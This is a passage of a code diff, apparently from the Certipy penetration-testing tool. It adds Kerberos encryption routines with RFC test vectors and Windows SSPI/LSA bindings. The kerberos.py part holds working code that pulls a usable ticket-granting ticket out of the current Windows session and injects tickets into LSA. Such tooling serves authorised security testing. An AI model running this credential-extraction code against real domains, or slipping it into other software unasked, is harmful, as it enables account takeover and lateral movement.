fixparity(deskey): + temp = b"" + for byte in deskey: + t = (bin(byte)[2:]).rjust(8, "0") + if t[:7].count("1") % 2 == 0: + temp += int(t[:7] + "1", 2).to_bytes( + 1, byteorder="big", signed=False + ) + else: + temp += int(t[:7] + "0", 2).to_bytes( + 1, byteorder="big", signed=False + ) + return temp + + def addparity(l1): + temp = list() + for byte in l1: + if (bin(byte).count("1") % 2) == 0: + byte = (byte << 1) | 0b00000001 + else: + byte = (byte << 1) & 0b11111110 + temp.append(byte) + return temp + + def XOR(l1, l2): + temp = list() + for b1, b2 in zip(l1, l2): + temp.append((b1 ^ b2) & 0b01111111) + + return temp + + odd = True + s = string + salt + tempstring = [0, 0, 0, 0, 0, 0, 0, 0] + s = s + b"\x00" * ( + 8 - (len(s) % 8) + ) # pad(s); /* with nulls to 8 byte boundary */ + + for block in [s[i : i + 8] for i in range(0, len(s), 8)]: + temp56 = list() + # removeMSBits + for byte in block: + temp56.append(byte & 0b01111111) + + # reverse + if odd == False: + bintemp = "" + for byte in temp56: + bintemp += (bin(byte)[2:]).rjust(7, "0") + bintemp = bintemp[::-1] + + temp56 = list() + for bits7 in [bintemp[i : i + 7] for i in range(0, len(bintemp), 7)]: + temp56.append(int(bits7, 2)) + + odd = not odd + + tempstring = XOR(tempstring, temp56) + + tempkey = b"".join( + byte.to_bytes(1, byteorder="big", signed=False) + for byte in addparity(tempstring) + ) + if _is_weak_des_key(tempkey): + tempkey[7] = (tempkey[7] ^ 0xF0).to_bytes(1, byteorder="big", signed=False) + + cipher = DES(tempkey, MODE_CBC, tempkey) + chekcsumkey = cipher.encrypt(s)[-8:] + chekcsumkey = fixparity(chekcsumkey) + if _is_weak_des_key(chekcsumkey): + chekcsumkey[7] = chr(ord(chekcsumkey[7]) ^ 0xF0) + + return Key(cls.enctype, chekcsumkey) + + @classmethod + def basic_encrypt(cls, key, plaintext): + assert len(plaintext) % 8 == 0 + des = DES(key.contents, MODE_CBC, b"\x00" * 8) + return des.encrypt(plaintext) + + @classmethod + def basic_decrypt(cls, key, ciphertext): + assert len(ciphertext) % 8 == 0 + des = DES(key.contents, MODE_CBC, b"\x00" * 8) + return des.decrypt(ciphertext) + + @classmethod + def string_to_key(cls, string, salt, params): + if params is not None and params != "": + raise ValueError("Invalid DES string-to-key parameters") + key = cls.mit_des_string_to_key(string, salt) + return key + + +class _DES3CBC(_SimplifiedEnctype): + enctype = Enctype.DES3 + keysize = 24 + seedsize = 21 + blocksize = 8 + padsize = 8 + macsize = 20 + hashmod = SHA + + @classmethod + def random_to_key(cls, seed): + # XXX Maybe reframe as _DESEnctype.random_to_key and use that + # way from DES3 random-to-key when DES is implemented, since + # MIT does this instead of the RFC 3961 random-to-key. + def expand(seed): + def parity(b): + # Return b with the low-order bit set to yield odd parity. + b &= ~1 + return b if bin(b & ~1).count("1") % 2 else b | 1 + + assert len(seed) == 7 + firstbytes = [parity(b & ~1) for b in seed] + lastbyte = parity(sum((seed[i] & 1) << i + 1 for i in range(7))) + keybytes = b"".join( + b.to_bytes(1, byteorder="big", signed=False) + for b in firstbytes + [lastbyte] + ) + if _is_weak_des_key(keybytes): + keybytes[7] = (keybytes[7] ^ 0xF0).to_bytes( + 1, byteorder="big", signed=False + ) + return keybytes + + if len(seed) != 21: + raise ValueError("Wrong seed length") + k1, k2, k3 = expand(seed[:7]), expand(seed[7:14]), expand(seed[14:]) + return Key(cls.enctype, k1 + k2 + k3) + + @classmethod + def string_to_key(cls, string, salt, params): + if params is not None and params != "": + raise ValueError("Invalid DES3 string-to-key parameters") + k = cls.random_to_key(_nfold(string + salt, 21)) + return cls.derive(k, "kerberos".encode()) + + @classmethod + def basic_encrypt(cls, key, plaintext): + assert len(plaintext) % 8 == 0 + des3 = DES3(key.contents, MODE_CBC, IV=b"\x00" * 8) + return des3.encrypt(plaintext) + + @classmethod + def basic_decrypt(cls, key, ciphertext): + assert len(ciphertext) % 8 == 0 + des3 = DES3(key.contents, MODE_CBC, IV=b"\x00" * 8) + return des3.decrypt(ciphertext) + + +class _AESEnctype(_SimplifiedEnctype): + # Base class for aes128-cts and aes256-cts. + blocksize = 16 + padsize = 1 + macsize = 12 + hashmod = SHA + + @classmethod + def string_to_key(cls, string, salt, params): + (iterations,) = unpack(">L", params or b"\x00\x00\x10\x00") + # prf = lambda p, s: HMAC.new(p, s, SHA).digest() + # seed = PBKDF2(string, salt, cls.seedsize, iterations, prf) + seed = PBKDF2(string, salt, iterations, cls.seedsize) + tkey = cls.random_to_key(seed) + return cls.derive(tkey, "kerberos".encode()) + + @classmethod + def basic_encrypt(cls, key, plaintext): + assert len(plaintext) >= 16 + aes = AES(key.contents, MODE_CBC, b"\x00" * 16) + ctext = aes.encrypt(_zeropad(plaintext, 16)) + if len(plaintext) > 16: + # Swap the last two ciphertext blocks and truncate the + # final block to match the plaintext length. + lastlen = len(plaintext) % 16 or 16 + ctext = ctext[:-32] + ctext[-16:] + ctext[-32:-16][:lastlen] + return ctext + + @classmethod + def basic_decrypt(cls, key, ciphertext): + assert len(ciphertext) >= 16 + aes = AES(key.contents, MODE_ECB) + if len(ciphertext) == 16: + return aes.decrypt(ciphertext) + # Split the ciphertext into blocks. The last block may be partial. + cblocks = [ciphertext[p : p + 16] for p in range(0, len(ciphertext), 16)] + lastlen = len(cblocks[-1]) + # CBC-decrypt all but the last two blocks. + prev_cblock = b"\x00" * 16 + plaintext = b"" + for b in cblocks[:-2]: + plaintext += _xorbytes(aes.decrypt(b), prev_cblock) + prev_cblock = b + # Decrypt the second-to-last cipher block. The left side of + # the decrypted block will be the final block of plaintext + # xor'd with the final partial cipher block; the right side + # will be the omitted bytes of ciphertext from the final + # block. + b = aes.decrypt(cblocks[-2]) + lastplaintext = _xorbytes(b[:lastlen], cblocks[-1]) + omitted = b[lastlen:] + # Decrypt the final cipher block plus the omitted bytes to get + # the second-to-last plaintext block. + plaintext += _xorbytes(aes.decrypt(cblocks[-1] + omitted), prev_cblock) + return plaintext + lastplaintext + + +class _AES128CTS(_AESEnctype): + enctype = Enctype.AES128 + keysize = 16 + seedsize = 16 + + +class _AES256CTS(_AESEnctype): + enctype = Enctype.AES256 + keysize = 32 + seedsize = 32 + + +class _RC4(_EnctypeProfile): + enctype = Enctype.RC4 + keysize = 16 + seedsize = 16 + + @staticmethod + def usage_str(keyusage): + # Return a four-byte string for an RFC 3961 keyusage, using + # the RFC 4757 rules. Per the errata, do not map 9 to 8. + table = {3: 8, 23: 13} + msusage = table[keyusage] if keyusage in table else keyusage + return pack("IB", keyusage, 0x99)) + hmac = HMAC.new(kc.contents, text, cls.enc.hashmod).digest() + return hmac[: cls.macsize] + + @classmethod + def verify(cls, key, keyusage, text, cksum): + if key.enctype != cls.enc.enctype: + raise ValueError("Wrong key type for checksum") + super(_SimplifiedChecksum, cls).verify(key, keyusage, text, cksum) + + +class _SHA1AES128(_SimplifiedChecksum): + macsize = 12 + enc = _AES128CTS + + +class _SHA1AES256(_SimplifiedChecksum): + macsize = 12 + enc = _AES256CTS + + +class _SHA1DES3(_SimplifiedChecksum): + macsize = 20 + enc = _DES3CBC + + +class _HMACMD5(_ChecksumProfile): + @classmethod + def checksum(cls, key, keyusage, text): + ksign = HMAC.new(key.contents, b"signaturekey\x00", MD5).digest() + md5hash = MD5(_RC4.usage_str(keyusage) + text).digest() + return HMAC.new(ksign, md5hash, MD5).digest() + + @classmethod + def verify(cls, key, keyusage, text, cksum): + if key.enctype != Enctype.RC4: + raise ValueError("Wrong key type for checksum") + super(_HMACMD5, cls).verify(key, keyusage, text, cksum) + + +_enctype_table: Dict[str, _SimplifiedEnctype] = { + Enctype.DES_MD5: _DESCBC, + Enctype.DES3: _DES3CBC, + Enctype.AES128: _AES128CTS, + Enctype.AES256: _AES256CTS, + Enctype.RC4: _RC4, +} + + +_checksum_table = { + Cksumtype.SHA1_DES3: _SHA1DES3, + Cksumtype.SHA1_AES128: _SHA1AES128, + Cksumtype.SHA1_AES256: _SHA1AES256, + Cksumtype.HMAC_MD5: _HMACMD5, + 0xFFFFFF76: _HMACMD5, +} + + +def _get_enctype_profile(enctype): + if enctype not in _enctype_table: + raise ValueError("Invalid enctype %d" % enctype) + return _enctype_table[enctype] + + +def _get_checksum_profile(cksumtype): + if cksumtype not in _checksum_table: + raise ValueError("Invalid cksumtype %d" % cksumtype) + return _checksum_table[cksumtype] + + +class Key(object): + def __init__(self, enctype: Enctype, contents: bytes): + e = _get_enctype_profile(enctype) + if len(contents) != e.keysize: + raise ValueError("Wrong key length") + self.enctype = enctype + self.contents = contents + + +def random_to_key(enctype, seed): + e = _get_enctype_profile(enctype) + if len(seed) != e.seedsize: + raise ValueError("Wrong crypto seed length") + return e.random_to_key(seed) + + +def string_to_key(enctype, string, salt, params=None): + e = _get_enctype_profile(enctype) + return e.string_to_key(string, salt, params) + + +def encrypt(key, keyusage, plaintext, confounder=None): + e = _get_enctype_profile(key.enctype) + return e.encrypt(key, keyusage, plaintext, confounder) + + +def decrypt(key, keyusage, ciphertext): + # Throw InvalidChecksum on checksum failure. Throw ValueError on + # invalid key enctype or malformed ciphertext. + e = _get_enctype_profile(key.enctype) + return e.decrypt(key, keyusage, ciphertext) + + +def prf(key, string): + e = _get_enctype_profile(key.enctype) + return e.prf(key, string) + + +def make_checksum(cksumtype, key, keyusage, text): + c = _get_checksum_profile(cksumtype) + return c.checksum(key, keyusage, text) + + +def verify_checksum(cksumtype, key, keyusage, text, cksum): + # Throw InvalidChecksum exception on checksum failure. Throw + # ValueError on invalid cksumtype, invalid key enctype, or + # malformed checksum. + c = _get_checksum_profile(cksumtype) + c.verify(key, keyusage, text, cksum) + + +def cf2(enctype, key1, key2, pepper1, pepper2): + # Combine two keys and two pepper strings to produce a result key + # of type enctype, using the RFC 6113 KRB-FX-CF2 function. + def prfplus(key, pepper, l): + # Produce l bytes of output using the RFC 6113 PRF+ function. + out = b"" + count = 1 + while len(out) < l: + out += prf(key, count.to_bytes(1, byteorder="big", signed=False) + pepper) + count += 1 + return out[:l] + + e = _get_enctype_profile(enctype) + return e.random_to_key( + _xorbytes( + prfplus(key1, pepper1, e.seedsize), prfplus(key2, pepper2, e.seedsize) + ) + ) + + +if __name__ == "__main__": + + def h(hexstr): + return unhexlify(hexstr) + + # AES128 encrypt and decrypt + kb = h("9062430C8CDA3388922E6D6A509F5B7A") + conf = h("94B491F481485B9A0678CD3C4EA386AD") + keyusage = 2 + plain = "9 bytesss".encode() + ctxt = h( + "68FB9679601F45C78857B2BF820FD6E53ECA8D42FD4B1D7024A09205ABB7CD2E" "C26C355D2F" + ) + k = Key(Enctype.AES128, kb) + assert encrypt(k, keyusage, plain, conf) == ctxt + assert decrypt(k, keyusage, ctxt) == plain + + # AES256 encrypt and decrypt + kb = h("F1C795E9248A09338D82C3F8D5B567040B0110736845041347235B1404231398") + conf = h("E45CA518B42E266AD98E165E706FFB60") + keyusage = 4 + plain = "30 bytes bytes bytes bytes byt".encode() + ctxt = h( + "D1137A4D634CFECE924DBC3BF6790648BD5CFF7DE0E7B99460211D0DAEF3D79A" + "295C688858F3B34B9CBD6EEBAE81DAF6B734D4D498B6714F1C1D" + ) + k = Key(Enctype.AES256, kb) + assert encrypt(k, keyusage, plain, conf) == ctxt + assert decrypt(k, keyusage, ctxt) == plain + + # AES128 checksum + kb = h("9062430C8CDA3388922E6D6A509F5B7A") + keyusage = 3 + plain = "eight nine ten eleven twelve thirteen".encode() + cksum = h("01A4B088D45628F6946614E3") + k = Key(Enctype.AES128, kb) + verify_checksum(Cksumtype.SHA1_AES128, k, keyusage, plain, cksum) + + # AES256 checksum + kb = h("B1AE4CD8462AFF1677053CC9279AAC30B796FB81CE21474DD3DDBCFEA4EC76D7") + keyusage = 4 + plain = "fourteen".encode() + cksum = h("E08739E3279E2903EC8E3836") + k = Key(Enctype.AES256, kb) + verify_checksum(Cksumtype.SHA1_AES256, k, keyusage, plain, cksum) + + # AES128 string-to-key + string = "password".encode() + salt = "ATHENA.MIT.EDUraeburn".encode() + params = h("00000002") + kb = h("C651BF29E2300AC27FA469D693BDDA13") + k = string_to_key(Enctype.AES128, string, salt, params) + assert k.contents == kb + + # AES256 string-to-key + string = b"X" * 64 + salt = "pass phrase equals block size".encode() + params = h("000004B0") + kb = h("89ADEE3608DB8BC71F1BFBFE459486B05618B70CBAE22092534E56C553BA4B34") + k = string_to_key(Enctype.AES256, string, salt, params) + assert k.contents == kb + + # AES128 prf + kb = h("77B39A37A868920F2A51F9DD150C5717") + k = string_to_key(Enctype.AES128, "key1".encode(), "key1".encode()) + assert prf(k, b"\x01\x61") == kb + + # AES256 prf + kb = h("0D674DD0F9A6806525A4D92E828BD15A") + k = string_to_key(Enctype.AES256, "key2".encode(), "key2".encode()) + assert prf(k, b"\x02\x62") == kb + + # AES128 cf2 + kb = h("97DF97E4B798B29EB31ED7280287A92A") + k1 = string_to_key(Enctype.AES128, "key1".encode(), "key1".encode()) + k2 = string_to_key(Enctype.AES128, "key2".encode(), "key2".encode()) + k = cf2(Enctype.AES128, k1, k2, b"a", b"b") + assert k.contents == kb + + # AES256 cf2 + kb = h("4D6CA4E629785C1F01BAF55E2E548566B9617AE3A96868C337CB93B5E72B1C7B") + k1 = string_to_key(Enctype.AES256, "key1".encode(), "key1".encode()) + k2 = string_to_key(Enctype.AES256, "key2".encode(), "key2".encode()) + k = cf2(Enctype.AES256, k1, k2, b"a", b"b") + assert k.contents == kb + + # DES3 encrypt and decrypt + kb = h("0DD52094E0F41CECCB5BE510A764B35176E3981332F1E598") + conf = h("94690A17B2DA3C9B") + keyusage = 3 + plain = b"13 bytes byte" + ctxt = h( + "839A17081ECBAFBCDC91B88C6955DD3C4514023CF177B77BF0D0177A16F705E8" + "49CB7781D76A316B193F8D30" + ) + k = Key(Enctype.DES3, kb) + assert encrypt(k, keyusage, plain, conf) == ctxt + assert decrypt(k, keyusage, ctxt) == _zeropad(plain, 8) + + # DES3 string-to-key + string = "password".encode() + salt = "ATHENA.MIT.EDUraeburn".encode() + kb = h("850BB51358548CD05E86768C313E3BFEF7511937DCF72C3E") + k = string_to_key(Enctype.DES3, string, salt) + assert k.contents == kb + + # DES3 checksum + kb = h("7A25DF8992296DCEDA0E135BC4046E2375B3C14C98FBC162") + keyusage = 2 + plain = "six seven".encode() + cksum = h("0EEFC9C3E049AABC1BA5C401677D9AB699082BB4") + k = Key(Enctype.DES3, kb) + verify_checksum(Cksumtype.SHA1_DES3, k, keyusage, plain, cksum) + + # DES3 cf2 + kb = h("E58F9EB643862C13AD38E529313462A7F73E62834FE54A01") + k1 = string_to_key(Enctype.DES3, "key1".encode(), "key1".encode()) + k2 = string_to_key(Enctype.DES3, "key2".encode(), "key2".encode()) + k = cf2(Enctype.DES3, k1, k2, b"a", b"b") + assert k.contents == kb + + # RC4 encrypt and decrypt + kb = h("68F263DB3FCE15D031C9EAB02D67107A") + conf = h("37245E73A45FBF72") + keyusage = 4 + plain = b"30 bytes bytes bytes bytes byt" + ctxt = h( + "95F9047C3AD75891C2E9B04B16566DC8B6EB9CE4231AFB2542EF87A7B5A0F260" + "A99F0460508DE0CECC632D07C354124E46C5D2234EB8" + ) + k = Key(Enctype.RC4, kb) + assert encrypt(k, keyusage, plain, conf) == ctxt + assert decrypt(k, keyusage, ctxt) == plain + + # RC4 string-to-key + string = "foo".encode() + kb = h("AC8E657F83DF82BEEA5D43BDAF7800CC") + k = string_to_key(Enctype.RC4, string, None) + assert k.contents == kb + + # RC4 checksum + kb = h("F7D3A155AF5E238A0B7A871A96BA2AB2") + keyusage = 6 + plain = "seventeen eighteen nineteen twenty".encode() + cksum = h("EB38CC97E2230F59DA4117DC5859D7EC") + k = Key(Enctype.RC4, kb) + verify_checksum(Cksumtype.HMAC_MD5, k, keyusage, plain, cksum) + + # RC4 cf2 + kb = h("24D7F6B6BAE4E5C00D2082C5EBAB3672") + k1 = string_to_key(Enctype.RC4, "key1".encode(), "key1".encode()) + k2 = string_to_key(Enctype.RC4, "key2".encode(), "key2".encode()) + k = cf2(Enctype.RC4, k1, k2, b"a", b"b") + assert k.contents == kb + + # DES string-to-key + string = "password".encode() + salt = "ATHENA.MIT.EDUraeburn".encode() + kb = h("cbc22fae235298e3") + k = string_to_key(Enctype.DES_MD5, string, salt) + assert k.contents == kb + + # DES string-to-key + string = "potatoe".encode() + salt = "WHITEHOUSE.GOVdanny".encode() + kb = h("df3d32a74fd92a01") + k = string_to_key(Enctype.DES_MD5, string, salt) + assert k.contents == kb + print("all tests passed!") diff --git a/certipy/lib/sspi/kerberos.py b/certipy/lib/sspi/kerberos.py new file mode 100755 index 0000000..25f807b --- /dev/null +++ b/certipy/lib/sspi/kerberos.py @@ -0,0 +1,158 @@ +from impacket.krb5.ccache import CCache + +from .encryption import Key, _enctype_table +from .netsecapi import ( + ISC_REQ, + SEC_E, + SECPKG_ATTR, + SECPKG_CRED, + AcquireCredentialsHandle, + InitializeSecurityContext, + LsaCallAuthenticationPackage, + LsaConnectUntrusted, + LsaFreeReturnBuffer, + LsaLookupAuthenticationPackage, + QueryContextAttributes, + SecPkgContext_SessionKey, + extract_ticket, + get_lsa_error, + submit_tkt_helper, +) +from .structs import ( + AP_REQ, + KRB_CRED, + Authenticator, + AuthenticatorChecksum, + ChecksumFlags, + EncryptedData, + InitialContextToken, +) + + +def submit_ticket(ticket_data: bytes): + lsa_handle = LsaConnectUntrusted() + kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, "kerberos") + + message = submit_tkt_helper(ticket_data, logonid=0) + + ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage( + lsa_handle, kerberos_package_id, message + ) + if ret_status != 0: + raise get_lsa_error(ret_status) + + if len(ret_msg) > 0: + LsaFreeReturnBuffer(free_ptr) + + return True + + +def get_tgt(target: str) -> CCache: + ctx = AcquireCredentialsHandle(None, "kerberos", target, SECPKG_CRED.OUTBOUND) + res, ctx, data, outputflags, expiry = InitializeSecurityContext( + ctx, + target, + token=None, + ctx=ctx, + flags=ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH | ISC_REQ.ALLOCATE_MEMORY, + ) + + if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: + lsa_handle = LsaConnectUntrusted() + + kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, "kerberos") + + raw_ticket = extract_ticket(lsa_handle, kerberos_package_id, 0, target) + + key = Key(raw_ticket["Key"]["KeyType"], raw_ticket["Key"]["Key"]) + token = InitialContextToken.load(data[0][1]) + + ticket = AP_REQ(token.native["innerContextToken"]).native + + cipher = _enctype_table[ticket["authenticator"]["etype"]] + dec_authenticator = cipher.decrypt(key, 11, ticket["authenticator"]["cipher"]) + authenticator = Authenticator.load(dec_authenticator).native + if authenticator["cksum"]["cksumtype"] != 0x8003: + raise Exception("Bad checksum") + + checksum_data = AuthenticatorChecksum.from_bytes( + authenticator["cksum"]["checksum"] + ) + if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags: + raise Exception("Delegation flag not set") + + cred_orig = KRB_CRED.load(checksum_data.delegation_data).native + dec_authenticator = cipher.decrypt(key, 14, cred_orig["enc-part"]["cipher"]) + + # reconstructing kirbi with the unencrypted data + te = {} + te["etype"] = 0 + te["cipher"] = dec_authenticator + ten = EncryptedData(te) + + t = {} + t["pvno"] = cred_orig["pvno"] + t["msg-type"] = cred_orig["msg-type"] + t["tickets"] = cred_orig["tickets"] + t["enc-part"] = ten + + krb_cred = KRB_CRED(t) + + ccache = CCache() + ccache.fromKRBCRED(krb_cred.dump()) + + return ccache + + +def get_tgs(target: str) -> CCache: + ctx = AcquireCredentialsHandle(None, "kerberos", target, SECPKG_CRED.OUTBOUND) + res, ctx, data, _, _ = InitializeSecurityContext( + ctx, + target, + token=None, + ctx=ctx, + flags=ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION, + ) + if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: + sec_struct = SecPkgContext_SessionKey() + QueryContextAttributes(ctx, SECPKG_ATTR.SESSION_KEY, sec_struct) + sec_struct.Buffer + + InitialContextToken.load(data[0][1]).native["innerContextToken"] + + lsa_handle = LsaConnectUntrusted() + + kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, "kerberos") + + raw_ticket = extract_ticket(lsa_handle, kerberos_package_id, 0, target) + + krb_cred = KRB_CRED.load(raw_ticket["Ticket"]) + + ccache = CCache() + ccache.fromKRBCRED(krb_cred.dump()) + + return ccache + + +""" + +kerb = KerberosLive() +# ap_req, etype, key_value = kerb.get_apreq("ldap/dc.corp.local") +# ap_req, krb_cred, etype, key_value = kerb.get_apreq("ldap/dc.corp.local") +krb_cred = kerb.get_apreq("ldap/dc.corp.local") + +ccache = CCache() +ccache.fromKRBCRED(krb_cred) +ccache.saveFile("check.ccache") + +krb_cred = get_tgt("ldap/dc.corp.local") +ccache = CCache() +ccache.fromKRBCRED(krb_cred) +ccache.saveFile("check.ccache") + +print(ccache.prettyPrint()) + +exit() +""" + +# print(get_logon_info()) diff --git a/certipy/lib/sspi/netsecapi.py b/certipy/lib/sspi/netsecapi.py new file mode 100755 index 0000000..de198e9 --- /dev/null +++ b/certipy/lib/sspi/netsecapi.py @@ -0,0 +1,1356 @@ +import enum +import io +from ctypes import ( + POINTER, + Structure, + WinError, + addressof, + byref, + c_byte, + c_char, + c_char_p, + c_int16, + c_int32, + c_longlong, + c_ubyte, + c_uint16, + c_uint32, + c_void_p, + c_wchar_p, + cast, + create_string_buffer, + pointer, + sizeof, + string_at, + windll, +) + +BYTE = c_ubyte +UCHAR = BYTE +SHORT = c_int16 +USHORT = c_uint16 +LONG = c_int32 +LPWSTR = c_wchar_p +LPVOID = c_void_p +PVOID = LPVOID +PPVOID = POINTER(PVOID) +DWORD = c_uint32 +HANDLE = LPVOID +PHANDLE = POINTER(HANDLE) +LPHANDLE = PHANDLE +NTSTATUS = LONG +PNTSTATUS = POINTER(NTSTATUS) +USHORT = c_uint16 +ULONG = c_uint32 +PULONG = POINTER(ULONG) +LARGE_INTEGER = c_longlong +PLARGE_INTEGER = POINTER(LARGE_INTEGER) +LPBYTE = POINTER(BYTE) +LPSTR = c_char_p +CHAR = c_char + +LSA_OPERATIONAL_MODE = ULONG +PLSA_OPERATIONAL_MODE = POINTER(LSA_OPERATIONAL_MODE) +PCHAR = LPSTR +SEC_CHAR = CHAR +PSEC_CHAR = PCHAR + + +ERROR_SUCCESS = 0 + +maxtoken_size = 2880 + + +class SID: + def __init__(self): + self.Revision = None + self.SubAuthorityCount = None + self.IdentifierAuthority = None + self.SubAuthority = [] + + def __str__(self): + t = "S-1-" + if self.IdentifierAuthority < 2**32: + t += str(self.IdentifierAuthority) + else: + t += "0x" + self.IdentifierAuthority.to_bytes(6, "big").hex().upper().rjust( + 12, "0" + ) + for i in self.SubAuthority: + t += "-" + str(i) + return t + + @staticmethod + def from_ptr(ptr): + if ptr == None: + return None + data = string_at(ptr, 8) + buff = io.BytesIO(data) + sid = SID() + sid.Revision = int.from_bytes(buff.read(1), "little", signed=False) + sid.SubAuthorityCount = int.from_bytes(buff.read(1), "little", signed=False) + sid.IdentifierAuthority = int.from_bytes(buff.read(6), "big", signed=False) + + data = string_at(ptr + 8, sid.SubAuthorityCount * 4) + buff = io.BytesIO(data) + for _ in range(sid.SubAuthorityCount): + sid.SubAuthority.append( + int.from_bytes(buff.read(4), "little", signed=False) + ) + return sid + + +class KERB_PROTOCOL_MESSAGE_TYPE(enum.Enum): + KerbDebugRequestMessage = 0 + KerbQueryTicketCacheMessage = 1 + KerbChangeMachinePasswordMessage = 2 + KerbVerifyPacMessage = 3 + KerbRetrieveTicketMessage = 4 + KerbUpdateAddressesMessage = 5 + KerbPurgeTicketCacheMessage = 6 + KerbChangePasswordMessage = 7 + KerbRetrieveEncodedTicketMessage = 8 + KerbDecryptDataMessage = 9 + KerbAddBindingCacheEntryMessage = 10 + KerbSetPasswordMessage = 11 + KerbSetPasswordExMessage = 12 + KerbVerifyCredentialsMessage = 13 + KerbQueryTicketCacheExMessage = 14 + KerbPurgeTicketCacheExMessage = 15 + KerbRefreshSmartcardCredentialsMessage = 16 + KerbAddExtraCredentialsMessage = 17 + KerbQuerySupplementalCredentialsMessage = 18 + KerbTransferCredentialsMessage = 19 + KerbQueryTicketCacheEx2Message = 20 + KerbSubmitTicketMessage = 21 + KerbAddExtraCredentialsExMessage = 22 + KerbQueryKdcProxyCacheMessage = 23 + KerbPurgeKdcProxyCacheMessage = 24 + KerbQueryTicketCacheEx3Message = 25 + KerbCleanupMachinePkinitCredsMessage = 26 + KerbAddBindingCacheEntryExMessage = 27 + KerbQueryBindingCacheMessage = 28 + KerbPurgeBindingCacheMessage = 29 + KerbQueryDomainExtendedPoliciesMessage = 30 + KerbQueryS4U2ProxyCacheMessage = 31 + + +# https://apidock.com/ruby/Win32/SSPI/SSPIResult +class SEC_E(enum.Enum): + OK = 0x00000000 + CONTINUE_NEEDED = 0x00090312 + INSUFFICIENT_MEMORY = ( + 0x80090300 # Not enough memory is available to complete this request. + ) + INVALID_HANDLE = 0x80090301 # The handle specified is invalid. + UNSUPPORTED_FUNCTION = 0x80090302 # The function requested is not supported. + TARGET_UNKNOWN = 0x80090303 # The specified target is unknown or unreachable. + INTERNAL_ERROR = ( + 0x80090304 # The Local Security Authority (LSA) cannot be contacted. + ) + SECPKG_NOT_FOUND = 0x80090305 # The requested security package does not exist. + NOT_OWNER = 0x80090306 # The caller is not the owner of the desired credentials. + CANNOT_INSTALL = ( + 0x80090307 # The security package failed to initialize and cannot be installed. + ) + INVALID_TOKEN = 0x80090308 # The token supplied to the function is invalid. + CANNOT_PACK = 0x80090309 # The security package is not able to marshal the logon buffer, so the logon attempt has failed. + QOP_NOT_SUPPORTED = 0x8009030A # The per-message quality of protection is not supported by the security package. + NO_IMPERSONATION = ( + 0x8009030B # The security context does not allow impersonation of the client. + ) + LOGON_DENIED = 0x8009030C # The logon attempt failed. + UNKNOWN_CREDENTIALS = ( + 0x8009030D # The credentials supplied to the package were not recognized. + ) + NO_CREDENTIALS = 0x8009030E # No credentials are available in the security package. + MESSAGE_ALTERED = 0x8009030F # The message or signature supplied for verification has been altered. + OUT_OF_SEQUENCE = ( + 0x80090310 # The message supplied for verification is out of sequence. + ) + NO_AUTHENTICATING_AUTHORITY = ( + 0x80090311 # No authority could be contacted for authentication. + ) + BAD_PKGID = 0x80090316 # The requested security package does not exist. + CONTEXT_EXPIRED = 0x80090317 # The context has expired and can no longer be used. + INCOMPLETE_MESSAGE = 0x80090318 # The supplied message is incomplete. The signature was not verified. + INCOMPLETE_CREDENTIALS = 0x80090320 # The credentials supplied were not complete and could not be verified. The context could not be initialized. + BUFFER_TOO_SMALL = 0x80090321 # The buffers supplied to a function was too small. + WRONG_PRINCIPAL = 0x80090322 # The target principal name is incorrect. + TIME_SKEW = 0x80090324 # The clocks on the client and server machines are skewed. + UNTRUSTED_ROOT = 0x80090325 # The certificate chain was issued by an authority that is not trusted. + ILLEGAL_MESSAGE = ( + 0x80090326 # The message received was unexpected or badly formatted. + ) + CERT_UNKNOWN = ( + 0x80090327 # An unknown error occurred while processing the certificate. + ) + CERT_EXPIRED = 0x80090328 # The received certificate has expired. + ENCRYPT_FAILURE = 0x80090329 # The specified data could not be encrypted. + DECRYPT_FAILURE = 0x80090330 # The specified data could not be decrypted. + ALGORITHM_MISMATCH = 0x80090331 # The client and server cannot communicate because they do not possess a common algorithm. + SECURITY_QOS_FAILED = 0x80090332 # The security context could not be established due to a failure in the requested quality of service (for example, mutual authentication or delegation). + UNFINISHED_CONTEXT_DELETED = 0x80090333 # A security context was deleted before the context was completed. This is considered a logon failure. + NO_TGT_REPLY = 0x80090334 # The client is trying to negotiate a context and the server requires user-to-user but did not send a ticket granting ticket (TGT) reply. + NO_IP_ADDRESSES = 0x80090335 # Unable to accomplish the requested task because the local machine does not have an IP addresses. + WRONG_CREDENTIAL_HANDLE = 0x80090336 # The supplied credential handle does not match the credential associated with the security context. + CRYPTO_SYSTEM_INVALID = 0x80090337 # The cryptographic system or checksum function is invalid because a required function is unavailable. + MAX_REFERRALS_EXCEEDED = ( + 0x80090338 # The number of maximum ticket referrals has been exceeded. + ) + MUST_BE_KDC = 0x80090339 # The local machine must be a Kerberos domain controller (KDC), and it is not. + STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A # The other end of the security negotiation requires strong cryptographics, but it is not supported on the local machine. + TOO_MANY_PRINCIPALS = ( + 0x8009033B # The KDC reply contained more than one principal name. + ) + NO_PA_DATA = 0x8009033C # Expected to find PA data for a hint of what etype to use, but it was not found. + PKINIT_NAME_MISMATCH = 0x8009033D # The client certificate does not contain a valid user principal name (UPN), or does not match the client name in the logon request. Contact your administrator. + SMARTCARD_LOGON_REQUIRED = ( + 0x8009033E # Smart card logon is required and was not used. + ) + SHUTDOWN_IN_PROGRESS = 0x8009033F # A system shutdown is in progress. + KDC_INVALID_REQUEST = 0x80090340 # An invalid request was sent to the KDC. + KDC_UNABLE_TO_REFER = 0x80090341 # The KDC was unable to generate a referral for the service requested. + KDC_UNKNOWN_ETYPE = ( + 0x80090342 # The encryption type requested is not supported by the KDC. + ) + UNSUPPORTED_PREAUTH = 0x80090343 # An unsupported pre-authentication mechanism was presented to the Kerberos package. + DELEGATION_REQUIRED = 0x80090345 # The requested operation cannot be completed. The computer must be trusted for delegation, and the current user account must be configured to allow delegation. + BAD_BINDINGS = 0x80090346 # Client's supplied Security Support Provider Interface (SSPI) channel bindings were incorrect. + MULTIPLE_ACCOUNTS = ( + 0x80090347 # The received certificate was mapped to multiple accounts. + ) + NO_KERB_KEY = 0x80090348 # No Kerberos key was found. + CERT_WRONG_USAGE = ( 